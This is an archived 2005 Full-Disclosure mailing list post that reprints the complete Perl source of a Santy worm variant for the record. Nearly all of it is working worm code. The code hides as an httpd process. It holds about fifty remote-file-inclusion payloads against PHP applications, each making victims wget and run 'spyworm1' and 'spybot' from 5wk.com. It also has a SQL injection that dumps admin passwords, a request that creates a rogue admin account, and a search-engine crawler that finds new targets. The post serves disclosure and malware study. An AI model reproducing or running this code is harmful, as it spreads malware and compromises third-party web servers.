

Re: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2005-01/0045.html>

From: Andrew Smith (stfunub_at_gmail.com)

Date: 01/03/05

Date: Mon, 3 Jan 2005 07:54:08 +0000

To: peter dudikoff <licht77@gmx.net>

Covered on the F-Secure weblog, the DNS has been pointed at 127.0.0.2 so no more bots will be connecting. Just posting the source incase 5wk.com dies:

```
#!/usr/bin/perl
```

```
#####  
####  
#####  
#####  
#####  
#####  
#####  
#####  
#####  
#####  
#####
```

```
use LWP::Simple;  
use IO::Socket::INET;
```

```
my $processo = "/usr/local/sbin/httpd";  
$SIG{"INT"} = "IGNORE";  
$SIG{"HUP"} = "IGNORE";  
$SIG{"TERM"} = "IGNORE";  
$SIG{"CHLD"} = "IGNORE";  
$SIG{"PS"} = "IGNORE";
```

```
$0="$processo"."\\0"x16;;  
my $pid=fork;  
exit if $pid;  
die "Problema com o fork: $!" unless defined($pid);
```

```
$lista[0] =  
'/modules/My_eGallery/public/displayCategory.php?basepath=http://www.5wk.com/spy.gif?&cmd=cd  
'/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget  
http://www.5wk.com/spybot;  
$lista[1] = '/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.5wk.com/spy.gif?&cmd=cd
```

Full-Disclosure: Re: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

```
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[2] = '/include/new-visitor.inc.php?lvc_include_dir=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[3] = '/_functions.php?prefix=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[4] = '/cpcommerce/_functions.php?prefix=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[5] =
'/modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[6] = '/modules/agendax/addevent.inc.php?agendax_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[7] = '/ashnews.php?pathtoashnews=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[8] = '/eblog/blog.inc.php?xoopsConfig[xoops_url]=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[9] = '/pm/lib.inc.php?pm_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[10] = '/b2-tools/gm-2-b2.php?b2inc=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[11] =
'/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[12] = '/modules/agendax/addevent.inc.php?agendax_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[13] = '/includes/include_once.php?include_file=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[14] = '/e107/e107_handlers/secure_img_render.php?p=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[15] = '/shoutbox/expanded.php?conf=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[16] =
'/modules.php?name=NukeJokes&file=print&jokeid=-1/**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_auth
$lista[17] =
'/admin.php?op=AddAuthor&add_aid=cake&add_name=God&add_pwd=brasnet&add_email=foo@bar.com&add_rad
$lista[18] = '/main.php?x=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
```

Full-Disclosure: Re: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

<http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[19] = '/myPHPCalendar/admin.php?cal_dir=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[20] = '/index.php/main.php?x=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[21] = '/index.php?include=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[22] = '/index.php?x=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[23] = '/index.php?open=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[24] = '/index.php?visualizar=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[25] = '/template.php?pagina=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[26] = '/index.php?pagina=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[27] = '/index.php?inc=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[28] = '/includes/include_onde.php?include_file=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[29] = '/index.php?page=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[30] = '/index.php?pg=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[31] = '/index.php?show=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[32] = '/index.php?cat=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[33] = '/index.php?file=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[34] = '/db.php?path_local=<http://www.5wk.com/spy.gif?&cmd=cd>
/tmp;wget <http://www.5wk.com/spyworm1:perl> spyworm1;wget
<http://www.5wk.com/spybot>;
\$lista[35] = '/index.php?site=<http://www.5wk.com/spy.gif?&cmd=cd>

Full-Disclosure: Re: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

```
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[36] = '/htmltonuke.php?filnavn=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[37] = '/livehelp/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[38] = '/hcl/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[39] = '/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[40] = '/support/faq/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[41] = '/help/faq/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[42] = '/helpcenter/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[43] = '/live-support/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[44] = '/gnu3/index.php?doc=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[45] = '/gnu/index.php?doc=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[46] = '/phpgwapi/setup/tables_update.inc.php?appdir=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[47] = '/includes/calendar.php?phpc_root_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[48] = '/includes/setup.php?phpc_root_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[49] = '/inc/authform.inc.php?path_pre=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[50] = '/include/authform.inc.php?path_pre=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot;
```

```
while(1){
```


Full-Disclosure: Re: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

```
for($cadenu=1;$cadenu <= 991; $cadenu +=10){

@cade =
get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart=1&b=$cadenu")
or next;
$ae = "@cade";

while ($ae =~ m/<em class=yschurl>.*?</em>/){
    $ae =~ s/<em class=yschurl>(.*?)</em>/$1/;
    $uber=$1;

$uber =~ s//g;
$uber =~ s/<b>//g;
$uber =~ s/</b>//g;
$uber =~ s/<wbr>//g;
open(a,">>$arq");
print a "$uber\n";
close(a);
}}

$ark = $arq;
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novos = "";
foreach (@si){
if (!$si{$_})
{
$novos .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novos;
close(arquivo);

$a = 0;
$b = 0;
open(ae,"<$arq");
while(<ae>)
{ $sites[$a] = $_;
  chomp $sites[$a];
  $a++;
  $b++;}
close(ae);

for ($a=0;$a<=$b;$a++){
open (file, ">$caxe");
  print file "";
close(file);
```

Full-Disclosure: Re: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

```
open (file, ">$caxe1");
    print file "";
close(file);
$k=0;
$e=0;
$data=get($sites[$a]) or next;
while($data=~ m/<a href=".*?">.*?</a>/){
    $data=~ s/<a href="(.*?)">.*?</a>/$1/;
    $ubersite=$1;

    if ($ubersite =~"/")
    {
        $nu = index $ubersite, "/";
        $ubersite = substr($ubersite,0,$nu);
    }
    if ($ubersite !~/http/)
    { $ubersite = $sites[$a].'/'. $ubersite; }
    open(file,">>$caxe1") || die("nao abriu caxe.txt $!");
    print file "$ubersite\n";
    close(file);
}

$lista1 = 'http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista2 = '|cd /tmp;wget http://www.5wk.com/spyworm1:perl
spyworm1;wget http://www.5wk.com/spybot';
$t =0;
$y =0;
@ja;
open(opa,"<$caxe1") or next;
while (<opa>)
{
    $ja[$t] = $_;
    chomp $ja[$t];
    $t++;
    $y++;
}
close(opa);
$t=1;
while ($t < $y)
{
    if ($ja[$t] =~/=/)
    {
        $num = rindex $ja[$t], '=';
        $num += 1;
        $ja[$t] = substr($ja[$t],0,$num);
        open (jaera, ">>$caxe1") or next;
        print jaera "$ja[$t]$lista1\n";
        print jaera "$ja[$t]$lista2\n";
        close(jaera);
    }
}
```

Full-Disclosure: Re: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

```
$num = index $ja[$t], '=';
$num += 1;
$ja[$t] = substr($ja[$t],0,$num);
$num1 = rindex $ja[$t], '.';
$subproc = substr($ja[$t],$num1,$num);

    open (jaera,">>$caxe1") or next;
    print jaera "$ja[$t]$lista1\n";
    print jaera "$ja[$t]$lista2\n";
    close(jaera);
}
$t++;
}
$ark = "$caxe1";
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo = "";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);
$q=0;
$w=0;
@hot;
open (ops,"<$caxe1");
while(<ops>)
{
$hot[$q] = $_;
chomp $hot[$q];
$q++;
$w++;
}
close(ops);

for($q=0;$q<=$w;$q++)
{

if ($hot[$q] =~/http/)
{
$tipo=get($hot[$q]) or next;
for($tee=0;$tee<=50;$tee++){
&recicla;
$hot[$q] = 'http://' . $hot[$q] . $lista[$tee] ;
```

Full-Disclosure: Re: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

```
$tipo=get($hot[$q]) or next;
```

```
}
```

```
}}}
```

```
}
```

```
#####
```

```
#
```

```
# sub rotinas
```

```
#
```

```
#
```

```
#
```

```
#####
```

```
#####
```

```
sub recicla{
```

```
    substr($hot[$q], 0, 7) ="";
```

```
    $nu = index $hot[$q], '/';
```

```
    $hot[$q] = substr($hot[$q],0,$nu);
```

```
}
```

Full-Disclosure – We believe in it.

Charter: <http://lists.netsys.com/full-disclosure-charter.html>